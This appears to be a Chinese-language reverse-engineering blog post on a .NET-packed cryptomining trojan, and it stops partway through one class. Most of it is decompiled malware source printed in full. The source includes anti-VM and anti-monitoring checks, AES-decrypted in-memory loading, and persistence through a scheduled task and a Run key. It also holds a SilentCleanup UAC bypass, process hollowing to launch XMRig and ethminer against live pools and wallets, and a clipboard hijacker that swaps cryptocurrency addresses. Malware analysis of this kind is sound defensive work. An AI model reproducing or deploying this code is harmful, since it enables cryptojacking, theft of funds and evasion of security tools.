一个.net加密壳的挖矿木马分析

 样本md5:02B886B7B245F7CA52172F299D279A0F

 

 

 问题:挖矿木马有时候可以启动,有时候起不来?WHY?逆向看看,结论:

1
2
3
4
5
6
7
foreach (Process process3 in Process.GetProcesses())
                   {
                       if (process3.ProcessName.ToLower() == "taskmgr" || process3.ProcessName.ToLower() == "processhacker" || process3.ProcessName.ToLower() == "Диспетчер задач" || process3.ProcessName.ToLower() == "procexp")
                       {
                           Environment.Exit(0);
                       }
                   } 

原来是开启了任务管理器或者processhacker之类的!

 

接下来是过程:

先看下其执行的函数主体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using Class3;
 
namespace Systemwindows
{
    // Token: 0x02000002 RID: 2
    internal class System
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        private static void Main(string[] args)
        {
            try
            {
                new DADSAOKQW8URHASQWE().Run();
            }
            catch
            {
            }
            try
            {
                System.Udussdusdu();
            }
            catch
            {
            }
        }
 
        // Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
        public static string Dsydadaydas()
        {
            return File.ReadAllText(Assembly.GetEntryAssembly().Location);
        }
 
        // Token: 0x06000003 RID: 3 RVA: 0x000020A5 File Offset: 0x000002A5
        private byte[] vsaJ8m2E()
        {
            if ("{1211-222-001-002}".Length <= 0)
            {
                return new byte[]
                {
                    1,
                    2
                };
            }
            return new byte[]
            {
                1,
                2
            };
        }
 
        // Token: 0x06000004 RID: 4 RVA: 0x000020D1 File Offset: 0x000002D1
        public static string VtRxeDjqPXmq()
        {
            return new Regex("polderhelitcer.*polderhelitcer").Matches(System.Dsydadaydas())[0].Value.Replace("polderhelitcer", "");
        }
 
        // Token: 0x06000005 RID: 5 RVA: 0x00002101 File Offset: 0x00000301
        private byte[] JBbaqw1132dndGL()
        {
            if ("{111-22222-0001-0001}".Length <= 0)
            {
                return new byte[]
                {
                    1,
                    2
                };
            }
            return new byte[]
            {
                1,
                2
            };
        }
 
        // Token: 0x06000006 RID: 6 RVA: 0x0000212D File Offset: 0x0000032D
        public static string DjqPXmq()
        {
            return Regex.Split(System.Dsydadaydas(), "polderhelitcer")[2];
        }
 
        // Token: 0x06000007 RID: 7 RVA: 0x00002140 File Offset: 0x00000340
        private byte[] Hpuodaqds9Ksaw2wB()
        {
            if ("{21141`11-2222-2008421-00001}".Length <= 0)
            {
                return new byte[]
                {
                    1,
                    2
                };
            }
            return new byte[]
            {
                1,
                2
            };
        }
 
        // Token: 0x06000008 RID: 8 RVA: 0x0000216C File Offset: 0x0000036C
        public static void Udussdusdu()
        {
            Assembly.Load(System.Decrypt(Convert.FromBase64String(System.DjqPXmq()), System.VtRxeDjqPXmq())).EntryPoint.Invoke(null, new object[]
            {
                new string[0]
            });
        }
 
        // Token: 0x06000009 RID: 9 RVA: 0x000021A4 File Offset: 0x000003A4
        public static byte[] Decrypt(byte[] input, string key)
        {
            PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[]
            {
                67,
                135,
                35,
                114
            });
            MemoryStream memoryStream = new MemoryStream();
            Aes aes = new AesManaged();
            aes.Key = passwordDeriveBytes.GetBytes(aes.KeySize / 8);
            aes.IV = passwordDeriveBytes.GetBytes(aes.BlockSize / 8);
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(input, 0, input.Length);
            cryptoStream.Close();
            return memoryStream.ToArray();
        }
    }
}

 

可以确定是在执行加密的.net PE文件。  

 

看下这个函数实现:

1
new DADSAOKQW8URHASQWE().Run();<br><br>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
using System;
using System.Management;
using System.Runtime.InteropServices;
 
namespace Class3
{
    // Token: 0x02000004 RID: 4
    public class DADSAOKQW8URHASQWE
    {
        // Token: 0x0600000C RID: 12 RVA: 0x00002230 File Offset: 0x00000430
        public static bool LOWDARAS()
        {
            foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("Select * from Win32_ComputerSystem").Get())
            {
                string text = managementBaseObject["Manufacturer"].ToString().ToLower();
                if (text.Contains("microsoft corporation") || text.Contains("vmware")) //检测虚拟机运行
                {
                    return true;
                }
                if (managementBaseObject["Model"] != null)
                {
                    string text2 = managementBaseObject["Model"].ToString().ToLower();
                    if (text2.Contains("microsoft corporation") || text2.Contains("vmware"))
                    {
                        return true;
                    }
                }
            }
            return false;
        }
 
        // Token: 0x0600000D RID: 13 RVA: 0x00002300 File Offset: 0x00000500
        public static bool OIOQR0SASR()
        {
            bool result;
            try
            {
                if (DADSAOKQW8URHASQWE.IASDIJSAIJWEW("SbieDll.dll").ToInt32() != 0)
                {
                    result = true;
                }
                else
                {
                    result = false;
                }
            }
            catch
            {
                result = false;
            }
            return result;
        }
 
        // Token: 0x0600000E RID: 14 RVA: 0x00002340 File Offset: 0x00000540
        public void Dytp()
        {
            try
            {
                Environment.Exit(0); // 如果是虚拟机环境运行 则直接退出
            }
            catch
            {
            }
        }
 
        // Token: 0x0600000F RID: 15
        [DllImport("kernel32.dll")]
        public static extern IntPtr IASDIJSAIJWEW(string lpModuleName);
 
        // Token: 0x06000010 RID: 16 RVA: 0x00002368 File Offset: 0x00000568
        public void Run()
        {
            try
            {
                if (DADSAOKQW8URHASQWE.LOWDARAS())
                {
                    this.Dytp();
                }
                if (DADSAOKQW8URHASQWE.OIOQR0SASR())
                {
                    this.Dytp();
                }
            }
            catch
            {
            }
        }
    }
}

  

可以看到,其会检测虚拟机环境,如果是vmvare的,则直接退出了!

 

动态调试,直接修改"text",“text2”变量,让其不包含vmvare!继续往下运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private static void Main(string[] args)
        {
            try
            {
                new DADSAOKQW8URHASQWE().Run();
            }
            catch
            {
            }
            try
            {
                System.Udussdusdu(); //到这个函数
            }
            catch
            {
            }
        }
 
     // 上述函数的具体实现
// Token: 0x06000008 RID: 8 RVA: 0x0000216C File Offset: 0x0000216C
        public static void Udussdusdu()
        {
            Assembly.Load(System.Decrypt(Convert.FromBase64String(System.DjqPXmq()), System.VtRxeDjqPXmq())).EntryPoint.Invoke(null, new object[]
            {
                new string[0]
            });
        }

  

可以看到是直接运行解密的.net PE数据!解密的key:

 用的是AES解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static byte[] Decrypt(byte[] input, string key)
        {
            PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[]
            {
                67,
                135,
                35,
                114
            });
            MemoryStream memoryStream = new MemoryStream();
            Aes aes = new AesManaged();
            aes.Key = passwordDeriveBytes.GetBytes(aes.KeySize / 8);
            aes.IV = passwordDeriveBytes.GetBytes(aes.BlockSize / 8);
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(input, 0, input.Length);
            cryptoStream.Close();
            return memoryStream.ToArray();
        }

  

然后将解密的数据保存为PE文件:

 

 

然后继续打开该PE文件,可以看到完整的挖矿源码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
using MinerAns;
using VolVeRFINAL.Properties;
 
namespace VolVeRFINAL
{
    // Token: 0x02000002 RID: 2
    internal class Program
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public static bool UMutexAC()
        {
            bool flag;
            Program.curderApp = new Mutex(false, config.mutex, ref flag);
            try
            {
                if (flag)
                {
                    Thread.Sleep(2000);
                }
            }
            catch
            {
            }
            return flag;
        }
 
        // Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
        public static void Defolt()
        {
            while (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo();
                processStartInfo.FileName = "cmd.exe";
                processStartInfo.UseShellExecute = true;
                processStartInfo.Verb = "runas";
                processStartInfo.Arguments = "/k START \"\" \"" + Assembly.GetEntryAssembly().Location + "\" & EXIT";
                try
                {
                    Process.Start(processStartInfo);
                    Environment.Exit(0);
                }
                catch (Exception)
                {
                }
            }
        }
 
        // Token: 0x06000003 RID: 3 RVA: 0x00002120 File Offset: 0x00000320
        private static void Main(string[] args)
        {
            try
            {
                if (File.Exists(config.folder + "\\" + config.FileName))
                {
                    File.Delete(config.folder + "\\" + config.FileName);
                }
                if (!Directory.Exists(config.folder))
                {
                    Directory.CreateDirectory(config.folder);
                }
                if (!File.Exists(config.folder + "\\" + config.FileName))
                {
                    File.Copy(Assembly.GetEntryAssembly().Location, config.folder + "\\" + config.FileName);
                }
            }
            catch
            {
            }
            try
            {
                Program.UMutexAC();
            }
            catch
            {
            }
            if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
            {
                try
                {
                    ProcessStartInfo startInfo = new ProcessStartInfo
                    {
                        FileName = "schtasks.exe",
                        CreateNoWindow = false,
                        WindowStyle = ProcessWindowStyle.Hidden,
                        Arguments = string.Concat(new string[]
                        {
                            "/create /sc MINUTE /mo 3 /tn \"MicrosoftEdgeUpdate\" /tr \"",
                            config.folder,
                            "\\",
                            config.FileName,
                            "\" /f"
                        })
                    };
                    Process.Start(startInfo);
                    goto IL_180;
                }
                catch
                {
                    goto IL_180;
                }
            }
            try
            {
                Program.Powershell(string.Concat(new string[]
                {
                    "Remove-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '",
                    config.RegName,
                    "';New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '",
                    config.RegName,
                    "' -Value '\"",
                    Path.Combine(config.folder, config.FileName),
                    "\"' -PropertyType 'String'"
                }));
            }
            catch
            {
            }
            IL_180:
            if (config.antiSandbox == "true")
            {
                try
                {
                    if (Analysis.isVirtualMachine())
                    {
                        Environment.Exit(0);
                    }
                }
                catch (Exception)
                {
                }
            }
            if (config.antiDebugger == "true")
            {
                try
                {
                    if (Analysis.DetectSandboxie())
                    {
                        Environment.Exit(0);
                    }
                }
                catch (Exception)
                {
                }
            }
            if (config.forceUAC == "true")
            {
                try
                {
                    Program.Defolt();
                }
                catch (Exception)
                {
                }
            }
            int num = 0;
            ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select AdapterRAM from Win32_VideoController");
            foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
            {
                ManagementObject managementObject = (ManagementObject)managementBaseObject;
                uint? num2 = managementObject.Properties["AdapterRAM"].Value as uint?;
                if (num2 != null)
                {
                    num = (int)(num2 / 1048576U).Value;
                }
            }
            int num3 = num / 1024;
            byte[] payloadBuffer = new byte[0];
            byte[] payloadBuffer2 = new byte[0];
            using (MemoryStream memoryStream = new MemoryStream(Resources.xmrig))
            {
                using (ZipArchive zipArchive = new ZipArchive(memoryStream))
                {
                    foreach (ZipArchiveEntry zipArchiveEntry in zipArchive.Entries)
                    {
                        using (MemoryStream memoryStream2 = new MemoryStream())
                        {
                            zipArchiveEntry.Open().CopyTo(memoryStream2);
                            payloadBuffer = memoryStream2.ToArray();
                        }
                    }
                }
            }
            using (MemoryStream memoryStream3 = new MemoryStream(Resources.ethminer))
            {
                using (ZipArchive zipArchive2 = new ZipArchive(memoryStream3))
                {
                    foreach (ZipArchiveEntry zipArchiveEntry2 in zipArchive2.Entries)
                    {
                        using (MemoryStream memoryStream4 = new MemoryStream())
                        {
                            zipArchiveEntry2.Open().CopyTo(memoryStream4);
                            payloadBuffer2 = memoryStream4.ToArray();
                        }
                    }
                }
            }
            if (config.dwudauiadjws == "true")
            {
                try
                {
                    File.WriteAllBytes(config.folder + "\\opersystem.exe", Resources.iqdisakwe);
                    new Process
                    {
                        StartInfo =
                        {
                            FileName = config.folder + "\\opersystem.exe"
                        }
                    }.Start();
                    File.SetAttributes(config.folder + "\\opersystem.exe", FileAttributes.Hidden);
                }
                catch
                {
                }
            }
            List<string> list = new List<string>();
            list.Add("mmc");
            list.Add("ProcessHacker");
            list.Add("Taskmgr");
            list.Add("Диспетчер задач");
            string args2 = string.Concat(new string[]
            {
                "--algo rx/0 --donate-level 0   --max-cpu-usage ",
                config.moneroUsage,
                " -o",
                config.moneroPool,
                " -u ",
                config.moneroWallet
            });
            string args3 = string.Concat(new string[]
            {
                "-P stratum1+tcp://",
                config.etcWallet,
                ".",
                config.etcWorker,
                "@",
                config.etcPool
            });
            string args4 = string.Concat(new string[]
            {
                "-P stratum1+tcp://",
                config.ethWallet,
                ".",
                config.ethWorker,
                "@",
                config.ethPool
            });
            string fileNameWithoutExtension = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe");
            string fileNameWithoutExtension2 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe");
            if (num3 > 4)
            {
                try
                {
                    Program.PE.Run(payloadBuffer2, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", args3);
                    goto IL_577;
                }
                catch
                {
                    goto IL_577;
                }
            }
            if (num3 > 8)
            {
                try
                {
                    Program.PE.Run(payloadBuffer2, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", args4);
                }
                catch
                {
                }
            }
            try
            {
                IL_577:
                Program.PE.Run(payloadBuffer, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe", args2);
            }
            catch
            {
            }
            if (config.WebPanel == "true")
            {
                try
                {
                    Host.getTasks();
                }
                catch
                {
                }
            }
            if (config.bypassUAC == "owdoaodsoa")
            {
                try
                {
                    if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
                    {
                        Program.UAC();
                        Environment.Exit(0);
                    }
                }
                catch (Exception)
                {
                }
            }
            for (;;)
            {
                foreach (string processName in list)
                {
                    Process[] processesByName = Process.GetProcessesByName(processName);
                    while (processesByName.Length != 0)
                    {
                        foreach (Process process in Process.GetProcessesByName(fileNameWithoutExtension))
                        {
                            try
                            {
                                process.Kill();
                            }
                            catch
                            {
                            }
                        }
                        foreach (Process process2 in Process.GetProcessesByName(fileNameWithoutExtension2))
                        {
                            try
                            {
                                process2.Kill();
                            }
                            catch
                            {
                            }
                        }
                        processesByName = Process.GetProcessesByName(processName);
                    }
                }
                try
                {
                    foreach (Process process3 in Process.GetProcesses())
                    {
                        if (process3.ProcessName.ToLower() == "taskmgr" || process3.ProcessName.ToLower() == "processhacker" || process3.ProcessName.ToLower() == "Диспетчер задач" || process3.ProcessName.ToLower() == "procexp")
                        {
                            Environment.Exit(0);
                        }
                    }
                    Thread.Sleep(7000);
                }
                catch
                {
                }
                if (config.Hipper == "true")
                {
                    string text = "bc1qptp78yqeu7cagwaewnf0n4u8wh7ynwvadq2xux";
                    string text2 = "0x5B2e5aB2f0bb903c5aB3Efc4958fE4AA48ceed24";
                    string text3 = "47jTRtaRQkBapSUtTUNXfzDQC8gJSsqPR3Af78RizkxSdzB5YXwir8b2pC226t6tqRD18acVK2oqJWws5SP7TM1iGzEN7vL";
                    try
                    {
                        Thread.Sleep(500);
                        string text4 = Program.Clipboard.GetText();
                        if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$+").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text);
                        }
                        if (new Regex("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text);
                        }
                        if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text2);
                        }
                        if (new Regex("(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text3);
                        }
                    }
                    catch (Exception)
                    {
                    }
                }
            }
        }
 
        // Token: 0x06000004 RID: 4 RVA: 0x00002B84 File Offset: 0x00000D84
        public static void Powershell(string args)
        {
            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                FileName = "powershell.exe",
                Arguments = args,
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                UseShellExecute = false
            };
            Process.Start(startInfo);
        }
 
        // Token: 0x06000005 RID: 5 RVA: 0x00002BC8 File Offset: 0x00000DC8
        public static void UAC()
        {
            string text = Assembly.GetExecutingAssembly().Location + " && REM";
            new Program.AlwaysNotify();
            if (!text.Contains("REM"))
            {
                Environment.Exit(1);
            }
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Environment", true);
            registryKey.SetValue("windir", text);
            new Process
            {
                StartInfo =
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    FileName = "C:\\windows\\system32\\schtasks.exe",
                    Arguments = "/Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I"
                }
            }.Start();
            Thread.Sleep(2000);
            registryKey.DeleteValue("windir");
        }
 
        // Token: 0x04000001 RID: 1
        public static Mutex curderApp;
 
        // Token: 0x02000003 RID: 3
        public class AlwaysNotify
        {
            // Token: 0x06000007 RID: 7 RVA: 0x00002C78 File Offset: 0x00000E78
            public AlwaysNotify()
            {
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                string a = registryKey.GetValue(Encoding.Default.GetString(Convert.FromBase64String("Q29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4="))).ToString();
                string a2 = registryKey.GetValue(Encoding.Default.GetString(Convert.FromBase64String("UHJvbXB0T25TZWN1cmVEZXNrdG9w"))).ToString();
                registryKey.Close();
                if (!(a == "2" & a2 == "1"))
                {
                    return;
                }
                Environment.Exit(1);
            }
        }
 
        // Token: 0x02000004 RID: 4
        public static class Clipboard
        {
            // Token: 0x06000008 RID: 8 RVA: 0x00002D18 File Offset: 0x00000F18
            public static string GetText()
            {
                string Return = string.Empty;
                Thread thread = new Thread(delegate()
                {
                    Return = System.Windows.Forms.Clipboard.GetText();
                });
                thread.SetApartmentState(ApartmentState.STA);
                thread.Start();
                thread.Join();
                return Return;
            }
 
            // Token: 0x06000009 RID: 9 RVA: 0x00002D78 File Offset: 0x00000F78
            public static void SetText(string txt)
            {
                Thread thread = new Thread(delegate()
                {
                    System.Windows.Forms.Clipboard.SetText(txt);
                });
                thread.SetApartmentState(ApartmentState.STA);
                thread.Start();
                thread.Join();
            }
        }
 
        // Token: 0x02000005 RID: 5
        public static class PE
        {
            // Token: 0x0600000A RID: 10
            [DllImport("kernel32.dll")]
            private unsafe static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, Program.PE.StartupInfo* lpStartupInfo, byte[] lpProcessInfo);
 
            // Token: 0x0600000B RID: 11
            [DllImport("kernel32.dll")]
            private static extern long VirtualAllocEx(long hProcess, long lpAddress, long dwSize, uint flAllocationType, uint flProtect);
 
            // Token: 0x0600000C RID: 12
            [DllImport("kernel32.dll")]
            private static extern long WriteProcessMemory(long hProcess, long lpBaseAddress, byte[] lpBuffer, int nSize, long written);
 
            // Token: 0x0600000D RID: 13
            [DllImport("ntdll.dll")]
            private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);
 
            // Token: 0x0600000E RID: 14
            [DllImport("kernel32.dll")]
            private static extern bool SetThreadContext(long hThread, IntPtr lpContext);
 
            // Token: 0x0600000F RID: 15
            [DllImport("kernel32.dll")]
            private static extern bool GetThreadContext(long hThread, IntPtr lpContext);
 
            // Token: 0x06000010 RID: 16
            [DllImport("kernel32.dll")]
            private static extern uint ResumeThread(long hThread);
 
            // Token: 0x06000011 RID: 17
            [DllImport("kernel32.dll")]
            private static extern bool CloseHandle(long handle);
 
            // Token: 0x06000012 RID: 18 RVA: 0x00002DB8 File Offset: 0x00000FB8
            public unsafe static void Run(byte[] payloadBuffer, string host, string args)
            {
                int num = Marshal.ReadInt32(payloadBuffer, 60);
                int num2 = Marshal.ReadInt32(payloadBuffer, num + 24 + 56);
                int nSize = Marshal.ReadInt32(payloadBuffer, num + 24 + 60);
                int num3 = Marshal.ReadInt32(payloadBuffer, num + 24 + 16);
                short num4 = Marshal.ReadInt16(payloadBuffer, num + 4 + 2);
                short num5 = Marshal.ReadInt16(payloadBuffer, num + 4 + 16);
                long num6 = Marshal.ReadInt64(payloadBuffer, num + 24 + 24);
                Program.PE.StartupInfo structure = default(Program.PE.StartupInfo);
                structure.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(structure);
                structure.wShowWindow = 0;
                structure.dwFlags = 1U;
                byte[] array = new byte[24];
                IntPtr intPtr = Marshal.AllocHGlobal(77);
                string text = host;
                if (!string.IsNullOrEmpty(args))
                {
                    text = text + " " + args;
                }
                string currentDirectory = Directory.GetCurrentDirectory();
                Marshal.WriteInt32(intPtr, 48, 1048603);
                Program.PE.CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &structure, array);
                long num7 = Marshal.ReadInt64(array, 0);
                long num8 = Marshal.ReadInt64(array, 8);
                Program.PE.ZwUnmapViewOfSection(num7, num6);
                Program.PE.VirtualAllocEx(num7, num6, (long)num2, 12288U, 64U);
                Program.PE.WriteProcessMemory(num7, num6, payloadBuffer, nSize, 0L);
                for (short num9 = 0; num9 < num4; num9 += 1)
                {
                    byte[] array2 = new byte[40];
                    Buffer.BlockCopy(payloadBuffer, num + (int)(24 + num5) + (int)(40 * num9), array2, 0, 40);
                    int num10 = Marshal.ReadInt32(array2, 12);
                    int num11 = Marshal.ReadInt32(array2, 16);
                    int srcOffset = Marshal.ReadInt32(array2, 20);
                    byte[] array3 = new byte[num11];
                    Buffer.BlockCopy(payloadBuffer, srcOffset, array3, 0, array3.Length);
                    Program.PE.WriteProcessMemory(num7, num6 + (long)num10, array3, array3.Length, 0L);
                }
                Program.PE.GetThreadContext(num8, intPtr);
                byte[] bytes = BitConverter.GetBytes(num6);
                long num12 = Marshal.ReadInt64(intPtr, 136);
                Program.PE.WriteProcessMemory(num7, num12 + 16L, bytes, 8, 0L);
                Marshal.WriteInt64(intPtr, 128, num6 + (long)num3);
                Program.PE.SetThreadContext(num8, intPtr);
                Program.PE.ResumeThread(num8);
                Marshal.FreeHGlobal(intPtr);
                Program.PE.CloseHandle(num7);
                Program.PE.CloseHandle(num8);
            }
 
            // Token: 0x06000013 RID: 19 RVA: 0x00002FDC File Offset: 0x000011DC
            private static IntPtr Align(IntPtr source, int alignment)
            {
                long num = source.ToInt64() + (long)(alignment - 1);
                return new IntPtr((long)alignment * (num / (long)alignment));
            }
 
            // Token: 0x02000006 RID: 6
            [StructLayout(LayoutKind.Explicit, Size = 104)]
            public struct StartupInfo
            {
                // Token: 0x04000002 RID: 2
                [FieldOffset(0)]
                public uint cb;
 
                // Token: 0x04000003 RID: 3
                [FieldOffset(60)]
                public uint dwFlags;
 
                // Token: 0x04000004 RID: 4
                [FieldOffset(64)]
                public ushort wShowWindow;
            }
        }
    }
}

 

 

另外一个配置类和Host类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
using System;
 
namespace VolVeRFINAL
{
    // Token: 0x02000007 RID: 7
    internal class config
    {
        // Token: 0x04000005 RID: 5
        public static string moneroUsage = "25";
 
        // Token: 0x04000006 RID: 6
        public static string moneroWallet = "8BEkM3VeZHUQgFevjUBjpYKHKtfbMS9xKMEnWezdD2Rp4BAcsASXFPV6sWYbDU3N1jgPcERvcqUSfLtD6EQiR3AtB2LGDjj";
 
        // Token: 0x04000007 RID: 7
        public static string moneroPool = "pool.hashvault.pro:80";
 
        // Token: 0x04000008 RID: 8
        public static string etcWallet = "0x5a285Cddf2057ffe8b78E2904e2939271C94a957";
 
        // Token: 0x04000009 RID: 9
        public static string etcPool = "etc.2miners.com:1010";
 
        // Token: 0x0400000A RID: 10
        public static string ethWallet = "0xac956d72ef62ead6cadcbce4338ed56fc39f2976";
 
        // Token: 0x0400000B RID: 11
        public static string ethPool = "eth.2miners.com:2020";
 
        // Token: 0x0400000C RID: 12
        public static string ethWorker = "ethrig";
 
        // Token: 0x0400000D RID: 13
        public static string etcWorker = "etcrig";
 
        // Token: 0x0400000E RID: 14
        public static string mutex = "ZZIOREUEZCTVTVVMOS";
 
        // Token: 0x0400000F RID: 15
        public static string folder = Environment.GetEnvironmentVariable("AppData") + "\\Windows";
 
        // Token: 0x04000010 RID: 16
        public static string FileName = "winupdate.exe";
 
        // Token: 0x04000011 RID: 17
        public static string RegName = "winupdate";
 
        // Token: 0x04000012 RID: 18
        public static string bypassUAC = "true";
 
        // Token: 0x04000013 RID: 19
        public static string antiSandbox = "true";
 
        // Token: 0x04000014 RID: 20
        public static string antiDebugger = "true";
 
        // Token: 0x04000015 RID: 21
        public static string forceUAC = "forceder";
 
        // Token: 0x04000016 RID: 22
        public static string Hipper = "true";
 
        // Token: 0x04000017 RID: 23
        public static string WebPanel = "true";
 
        // Token: 0x04000018 RID: 24
        public static string dwudauiadjws = "true";
    }
}
 
 
 
using System;
using System.IO;
using System.Management;
using System.Net;
using System.Security.Principal;
 
namespace VolVeRFINAL
{
    // Token: 0x0200000A RID: 10
    internal class Host
    {
        // Token: 0x06000022 RID: 34 RVA: 0x000032D8 File Offset: 0x000014D8
        public static string get(string url)
        {
            string result;
            try
